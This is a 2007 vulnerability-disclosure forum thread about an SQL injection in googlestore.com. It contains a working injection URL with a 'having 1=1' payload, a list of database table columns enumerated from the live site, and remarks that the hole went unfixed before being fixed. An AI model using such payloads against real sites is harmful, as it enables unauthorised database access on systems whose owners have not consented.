Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Where you should disclose your vulnerabilities. Go read RFPolicy if you want to do responsible disclosure, and go here for when all else fails. 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
googlestore.com SQLi
Posted by: tx
Date: November 12, 2007 03:49PM

http://www.googlestore.com/appliance/processing/pricebreak.asp?catid=&transid=%27%20%20having%201%3D%271

tsk tsk tsk

-tx @ lowtech-labs.org

Options: ReplyQuote
Re: googlestore.com SQLi
Posted by: Anonymous User
Date: November 12, 2007 05:36PM

Yah I knew, I thought christ1an contacted them about 6 months ago, I guess still not fixed.

Options: ReplyQuote
Re: googlestore.com SQLi
Posted by: berz3k1
Date: November 12, 2007 10:14PM

Yep old and not fixed :-/

R:TbltempBasket.id
R:TbltempBasket.transid
R:TbltempBasket.name
R:TbltempBasket.code
R:TbltempBasket.qty
R:TbltempBasket.price
R:TbltempBasket.shipid
R:TbltempBasket.salecode
R:TbltempBasket.origcode
R:TbltempBasket.mediacode
R:TbltempBasket.gm1
R:TbltempBasket.gm2
R:TbltempBasket.addinfo1
R:TbltempBasket.addinfo2
R:TbltempBasket.addinfo3
R:TbltempBasket.addinfo4
R:TbltempBasket.addinfo5
R:TbltempBasket.addinfo6
R:TbltempBasket.addinfo7
R:TbltempBasket.cdate
R:TbltempBasket.custid
R:TbltempBasket.webid
R:TbltempBasket.cartedit

-berz3k.

Options: ReplyQuote
Re: googlestore.com SQLi
Posted by: iota
Date: December 14, 2007 09:03AM

FixEd!

Options: ReplyQuote
Re: googlestore.com SQLi
Posted by: berz3k1
Date: December 14, 2007 06:52PM

XD nice!

-berz3k.

Options: ReplyQuote


Sorry, only registered users may post in this forum.